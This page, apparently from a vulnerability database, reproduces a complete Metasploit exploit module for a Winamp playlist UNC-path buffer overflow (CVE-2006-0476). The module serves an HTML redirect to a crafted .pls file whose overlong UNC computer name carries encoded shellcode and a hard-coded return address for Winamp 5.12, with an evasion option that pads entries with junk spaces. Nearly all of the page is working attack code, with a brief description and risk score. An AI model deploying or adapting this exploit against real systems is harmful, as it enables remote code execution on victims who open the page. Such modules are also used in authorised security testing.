Winamp Playlist UNC Path Computer Name Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Winamp Playlist UNC Path Computer Name Overflow. Vulnerability in Winamp media player triggered by UNC path with long computer name in audio file path specified inside playlist

                                                ##
# $Id: winamp_playlist_unc.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Winamp Playlist UNC Path Computer Name Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a vulnerability in the Winamp media player.
				This flaw is triggered when a audio file path is specified, inside a
				playlist, that consists of a UNC path with a long computer name. This
				module delivers the playlist via the browser. This module has only
				been successfully tested on Winamp 5.11 and 5.12.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;hdm&#39;,
					&#39;Faithless &#60;rhyskidd [at] gmail.com&#62;&#39;
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2006-0476&#39;],
					[&#39;OSVDB&#39;, &#39;22789&#39;],
					[&#39;BID&#39;, &#39;16410&#39;],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 526,
					&#39;BadChars&#39; =&#62; &#34;\x00\x5c\x2f\x0a\x0d\x20&#34;,
					&#39;Compat&#39;   =&#62;
						{
							&#39;ConnectionType&#39; =&#62; &#39;-find&#39;,
						},

					# Landing on \x5c\x5c trashes esp, restore from ecx
					&#39;PrependEncoder&#39; =&#62; &#34;\x87\xe1&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,

					# Dont need them, dont want them, preserve esi
					&#39;DisableNops&#39; =&#62; true,

				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					# Return to exe, but don&#39;t clobber ecx, 0x0d is replaced by 0x00
					[ &#39;Winamp 5.12 Universal&#39;, { &#39;Ret&#39; =&#62; 0x0d45fece }],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 29 2006&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))

		register_evasion_options(
			[
				OptBool.new(&#39;PlaylistSpaceInjection&#39;, [false, &#39;Add junk spaces in between each entry item in the playlist&#34;&#39;, &#39;false&#39;])
			])
	end

	def on_request_uri(cli, request)

		if (not request.uri.match(/\.pls$/i))
			if (&#34;/&#34; == get_resource[-1,1])
				pls_uri = get_resource[0, get_resource.length - 1]
			else
				pls_uri = get_resource
			end
			pls_uri &#60;&#60; &#34;/&#34; + rand_text_alphanumeric(rand(80)+16) + &#34;.pls&#34;
			html =
				&#34;&#60;html&#62;&#60;body&#62;&#34;+
				&#34;&#60;script&#62;&#34; +
				&#34;document.location=&#39;#{pls_uri}&#39;&#60;/script&#62;&#34; +
				&#34;One second please...&#60;/body&#62;&#60;/html&#62;&#34;
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the compressed response to the client
		send_response(cli, generate_playlist(p), { &#39;Content-Type&#39; =&#62; &#39;text/plain&#39; })

		# Handle the payload
		handler(cli)
	end

	def generate_playlist(payload)

		pcnt = rand(10)+10;

		file = rand_text_english(1026)
		file[1022  , 4] = [target.ret].pack(&#39;V&#39;)
		file[0, payload.encoded.length] = payload.encoded

		play =
			&#34;[playlist]\r\n&#34;                 +
				generate_songs(pcnt)         +
				generate_song(pcnt + 1, &#34;\\\\#{file}&#34;) +
				generate_line(&#39;NumberOfEntries&#39;, &#34;#{pcnt+1}&#34;) +
				generate_line(&#39;Version&#39;, &#39;2&#39;)
		return play
	end

	def generate_space
		if datastore[&#39;PlaylistSpaceInjection&#39;] == true
			return rand_text(rand(100)+1, nil, &#34; \t&#34;)
		else
			return &#39;&#39;
		end
	end

	def generate_song(id, file)
		return generate_line(&#34;File#{id}&#34;, file) +
				generate_line(&#34;Title#{id}&#34;, rand_text_alphanumeric(rand(64)+1)) +
				generate_line(&#34;Length#{id}&#34;, &#34;%x&#34; % (rand(1024) + 30))
	end

	def generate_line(key, value)
		return generate_space + key + generate_space + &#39;=&#39; + generate_space + value + generate_space + &#34;\r\n&#34;
	end

	def generate_songs(cnt)
		songs = &#39;&#39;
		1.upto(cnt) do |i|
			songs &#60;&#60; generate_song(i, rand_text_alphanumeric(rand(64)+1))
		end
		return songs
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1